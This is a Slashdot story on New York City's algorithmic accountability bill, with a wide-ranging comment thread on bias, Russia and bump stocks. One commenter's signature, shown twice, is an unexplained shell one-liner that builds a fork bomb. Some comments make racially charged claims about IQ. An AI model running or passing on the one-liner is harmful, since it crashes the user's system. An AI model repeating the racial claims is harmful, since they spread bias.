Slashdot Mirror
New York City Moves To Create Accountability For Algorithms (propublica.org)
The algorithms that play increasingly central roles in our lives often emanate from Silicon Valley, but the effort to hold them accountable may have another epicenter: New York City. From a report: Last week, the New York City Council unanimously passed a bill to tackle algorithmic discrimination -- the first measure of its kind in the country. The algorithmic accountability bill, waiting to be signed into law by Mayor Bill de Blasio, establishes a task force that will study how city agencies use algorithms to make decisions that affect New Yorkers' lives, and whether any of the systems appear to discriminate against people based on age, race, religion, gender, sexual orientation or citizenship status. The task force's report will also explore how to make these decision-making processes understandable to the public. The bill's sponsor, Council Member James Vacca, said he was inspired by ProPublica's investigation into racially biased algorithms used to assess the criminal risk of defendants. "My ambition here is transparency, as well as accountability," Vacca said.
Republican!
These people are obviously just fakes, making Democrats look unhinged.
But it's believable because the Ds _have_ lost control of their loonies. Unless the Ds check their lunatic fringe, Trump is good for two terms.
John McAfee 'It was like that time I hired that Bangkok prostitute; to do my taxes, while I fucked my accountant'
It's often these same people who impose systematic discrimination based on these exact criteria.
More and more so-called 'AIs' are being used in place of algorithms (due mainly to magical thinking) but even the designers of these AIs can't tell you what they're really doing under the hood. That's where we're going to get in trouble with regards to 'accountability'.
Can people figure out how it discriminates against certain race or gender?
^(oo)^pig~
Algorithms don't discriminate if you remove the kind of data (race, age, etc.) that would allow them to make categorizations or judgments based on that data. But if you examine the results after the fact and reapply those labels and find some difference in outcomes, its because there is some difference in input, not a category identifier. If you find your algorithm thinks African Americans are a worse lending risk, it's likely because they're categorically less well off financially than other demographic groups, not because its racist against black people.
This kind of idiotic approach is just ignoring the actual underlying problems or differences in favor of trying to slap a band-aid on top of it to assuage guilty feelings. Worse yet, it prevents confronting the actual issues head on and is doomed to failure.
Yeah, it was outrageous when Trump was caught on an open mike promising Medvedev 'more flexibility' after the election. Collusion and treason!
Oh wait, that was Obama
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
You do realize you can only commit treason in times of war. Unless congress declares war on Russia, you are not going to get far.
I don't know about him, but my portfolio (one small-cap growth ETF, one large-cap growth ETF, one eurozone large-cap growth ETF, one high dividend ETF, and a few stocks) gained 35%-40% over the year 2017.
Can people figure out how it discriminates against certain race or gender?
The proposal here is to do a study to understand that, yes.
You did notice that this article was about studying the problem to see if there is algorithmic discrimination, right?
However, let me also point out that since the example discussed in the text was about DNA testing, I would point out that race and gender are encoded in DNA, so "does not have race/gender input" is not applicable here.
In other cases, however, yes, it turns out that there can be race and gender encoded into input data even if it is not explicitly listed as "enter race and gender here." You could look at the articles cited earlier, such as https://www.theatlantic.com/bu... or even look at the Yale Law review article about the book on the subject http://michiganlawreview.org/w...
Who the he'll told you that? Even if it were true it is 2017. We are literally always at war.
Guns don't kill people; Physics kills people! - John Lithgow as Dick Solomon on Third Rock From The Sun
A very good book that discusses the problems behind the blind implementation of algorithms is Weapons of Math Destruction by Cathy O’Neil.
Hmm....I guess you're right, as that there had not been a single mass shooting to date prior to the Vegas shooting that seemed to involve bump stocks.
Hmm...I guess we'd better ban fingers and belt loops and sticks that can emulate that bump stock too.....
Strange, we'd not heard of many crimes involving the bump stocks prior to this, even though they have been around for years and year now....hmmm.
Im not a fan of them so much myself, but aside from the special sniper case set up in the Vegas shooting, in general bump fire stocks aren't reliable enough to use in a crime situation or even home defense.
If I were a criminal (you know the ones that DON'T follow the law by definition)....I'd go the route of modifying my gun to truly be full auto....much more effective and reliable.
That being said....this connection to the Vatican is a new one on me....
I'd love to sign up to your newsletter on that one....
As far as conspiracy theories go....and there do seem to be some strange facts around this case for sure...the main thing I see as been at all a suspicious coincidence, was that for the first time in ages, some pro gun legislation was about to go through for votes....including the SHARE act, which I think included one or more of the hearing protection acts that would have relaxed the hoops to jump through to buy and own a suppressor (silencer).....and of course that all got tabled after the nut in Vegas did what he did.
OH well.....like is sure interesting.....
Light travels faster than sound. This is why some people appear bright until you hear them speak.........
I thought IQ discriminates mostly against blacks who tend to vote liberal. In fact, we can't even use IQ tests for things like employment anymore because the blacks just can't compete.
IQ tests. Perfectly valid if they put conservatives in a bad light. Discriminatory, racist, pseudoscience, useless, completely subjective, etc. when they tell us things we'd rather not hear.
But whatever suits your narrative.
I read that as: statistically honest
There are things Trump can legally do for his Russian buddies, now that he's President, that he couldn't do before. He seems to have colluded with them before.
Citation needed.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Well, the issue I foresee in this effort is that while the algorithms will be perfectly fine, it's the policies created to make up for well functioning algorithms that will be the problem.
Because what policymakers will quickly find is that having equal algorithmic treatment or having equal standards for all does not lead to the outcomes they want, as people of different demographics, backgrounds, capabilities do not take up services or have success against different programs in the same way.
This is the problem with policy always -- a tendency to believe (at least in recent liberal democracy) that people are all drawn from the same starting set and have equal propensities for doing / being / acting / achieving / using certain things. And when policymakers find that to be the unavoidable truth, democratic pressure forces them to find ways around this truth and distort the outcomes.
No algorithm will get around that.
I don't care if Trump goes to jail, but as an American, I don't consider Russia our enemy. From a practical standpoint, we stand to gain more by working with Russia than working against them.
"First they came for the slanderers and i said nothing."
He was using AR15s, so I'm not sure why he didn't just buy a 3MR trigger. Sure, he'd fire a tad slower, but he'd fire a lot more accurately.
If it was we wouldn't be having this conversation. Facebook can already guess your race, age and even sexuality based on the data they have about you even if you didn't tell them any of that. America is more segregated today then it was in the 50s, and that's not by choice, it's by design. This is what people mean by 'institutionalized racism'. It means racism is carefully built into the institutions rather than enshrined in law.
So Blacks can't get loans or buy decent houses. Gays can't take advantage of marriage tax advantages or health care advantages, and women face a large pay gap. But at no point are there any laws in place to make all this happen, it's all done organically. And if anyone complains you just point to your data set and say 'We don't collect race, gender or sexuality'.
Hi! I make Firefox Plug-ins. Check 'em out @ https://addons.mozilla.org/en-US/firefox/addon/youtube-mp3-podcaster/
Maybe a good start would be not to sell Russia US' uranium... oh, no, wait, Clinton did that.
Would you have been saying the same thing if it had been China or India, not Russia, whose intelligence agency aided Trump?
It must have been something you assimilated. . . .
...fighting with a FFT-based algorithm that causes plenty of troubles. After reading TFA I started wondering if my algorithm does not work as expected just because it is just discriminating me. I will ask mr. Vacca about...
When you're a homicidal maniac spraying bullets into a crowd, accuracy is secondary to rate of fire. Come on dude, this is mass shooting 101.
If a model of, say, the likelihood of recidivism or the probability of loan default results in disparate results for different races, yet can be shown to be accurate in terms of ability to predict, is that discriminatory? I can see that happening with A.I. systems where the datasets are fed in and the black box then spits out results that, while accurate, are completely opaque as to how the results are obtained. Is congruence with observed reality a defense against charges of racism?
interesting. So I'm guessing trump is the reason?
Like I say, the Ds have lost control of their lunatic fringe. Which is what makes this post plausible.
As the lunatic Ds run out of energy, Rs will fill the gap. Just as Ds pretend to be clansmen to push their agenda, Rs pretend to be neoStalinists/Antifa. Which doesn't mean that real clansmen and commies don't exist, just that they aren't THAT stupid...granting some are, like you say Waters.
John McAfee 'It was like that time I hired that Bangkok prostitute; to do my taxes, while I fucked my accountant'
Oh, I agree.
Thing is...a bump fire stock, by nature of how it works....isn't really that great or reliable if you are trying to move around with your gun.
If you are set up in a sniper area like he was, with multiple weapons fitted with them, to allow cooling and not having to reload as often and being somewhat able to stand stationary while using them, then they are dangerous as we saw.
However, you really can't be moving, walking or running trying to use one in a crowd....they just don't work that well, again, by nature of how they work.
So, aside from set ups like the LV shooter used, they generally aren't that effective for general use.....converting to FULL AUTO would be the best way to go, and of course, that is already ILLEGAL.
And a bump stock doesn't increate rate of fire THAT much. There was a demonstration not long back, that showed:
A regular semi-auto AR15 could be shot about 5 rounds per second.
A bump stock AR15 could fire about 7.5 rounds per second.
A Full Auto fired about 15 rounds per second.
So....combined with their problems, that's why you've not seen much prior crime committed with a bump stock...and likely banning them won't prevent much either. It will primarily ONLY keep law abiding citizens from having a bit of fun at the gun range.
Light travels faster than sound. This is why some people appear bright until you hear them speak.........
Yeah - mine too. I'm kicking myself for pulling out a bunch of funds of my IRA
AI doesn't know to "look the other way." When people are in charge, they can take a subtle hint (give more to this group, don't mention this group if they commit a crime, etc.). We just need to inject a Social Justice Warrior loop into these AIs.
I'm not sure they see it the same way.
Confucius say, "Find worm in apple - bad. Find half a worm - worse."
Oh? How do you think Russians see it?
"First they came for the slanderers and i said nothing."
They see everyone as their enemy, and most of the time they're seeing double.
Confucius say, "Find worm in apple - bad. Find half a worm - worse."
Nah. They see (correctly) that the US is the most powerful country by far, and that the US is also somewhat schizophrenic, with actions that don't make sense and aren't consistent. They are trying to adjust themselves around that reality as best they can.
"First they came for the slanderers and i said nothing."
The Russian people, in general, don't have a particularly hopeful view of the future and historically seem to prefer stability over autonomy, provided the living conditions aren't too bad. To borrow an internet meme, the history of Russia can be summed up in a single sentence "And then things got worse." Russia has had two major governmental collapses in the last century,* one of which the US was openly attempting. Russians see the US, and democracy in general, as an instigator of chaos. There's an excellent article in the Atlantic this month if you've got 30 minutes to read it
*Granted, there are African nations that have two government collapses before lunch, but Africa is its own basket of problems.
Only two things are infinite, the universe and human stupidity, and I'm not entirely sure about the universe - Einstein
To be more specific, my available evidence (which is limited) suggests to me that Trump colluded with Russia. Part of this is meta-evidence, including people lying when they should have had no need to, which a court can't consider but I can.
"When you have eliminated the unacceptable, whatever is left, however improbable, must be the truthiness" - Holmes
The US sent troops to Vladivostok, IIRC, during the Russian Civil War. It had at least a small hand in the first collapse (arguably, two collapses in a year).
"When you have eliminated the unacceptable, whatever is left, however improbable, must be the truthiness" - Holmes
You are right, that is a good article. Americans see Russia from their own self-centered view, but Russians are mainly concerned about themselves and their own problems.
"First they came for the slanderers and i said nothing."
While Allied intervention exacerbated existing problems, it's a stretch to say that it had a hand in the collapse (assuming you use the phrase "had a small hand in" to mean "was a partial cause of"). Russia had serious domestic problems and the brutality of WWI didn't help. One could arguably blame Germany for sending Lenin back, but by the time he arrived on the scene, the whole edifice of state was teetering anyway. Edward Crankshaw's "Shadow of the Winter Palace" is a good summation of the conditions that led to revolution.
Only two things are infinite, the universe and human stupidity, and I'm not entirely sure about the universe - Einstein
I also recommend "In Search of Putin's Russia", if you've got the time. Another thing we tend to forget in the West is the effect the downfall of the Soviet Union had on the Russian national psyche. Communism may not have been very popular, but it was stability and there was a certain amount of prestige in being a citizen of a superpower. Imagine the US collapses one day, the economy tanks, and the Reconquista that Mexico's academia dreams of happens. What would that be like for the US, to suddenly find itself with distrustful nations at its border? Then imagine these newly independent nations of Texas, California, Arizona, what have you, start getting buddy-buddy with, say, China or Iran. How would the US react to something like that? This is a (very) rough approximation of the Russian situation following the collapse of the Soviet Union. Putin's demonstrating, very publicly, that Russia can and will square off against the US and that it's not some broken shell of a nation. Please note that I'm not excusing Putin or the Russian actions in Crimea. I'm just pointing out that he's hardly the mustache-twirling Snidely Whiplash that television news has made him out to be.
Only two things are infinite, the universe and human stupidity, and I'm not entirely sure about the universe - Einstein
While what you said is true, when we're talking about the feelings of the Russian people we need to know how they perceive things. At at least one time, they mostly believed that the US invaded their country during their civil war.
On a side note, it's interesting to look at the role of Germany in making the Soviet Union the post-WWII threat it was. No other country was anywhere near as useful in helping the Soviet Communists..
"When you have eliminated the unacceptable, whatever is left, however improbable, must be the truthiness" - Holmes
That's fair; I'll concede the point about Allied intervention. As to the Soviet-Nazi relationship, most counterfactual scenarios I can think of have them coming to blows at some point. Still, Hitler handed Stalin probably the greatest propaganda victory Ol' Joe could have hoped for.
Only two things are infinite, the universe and human stupidity, and I'm not entirely sure about the universe - Einstein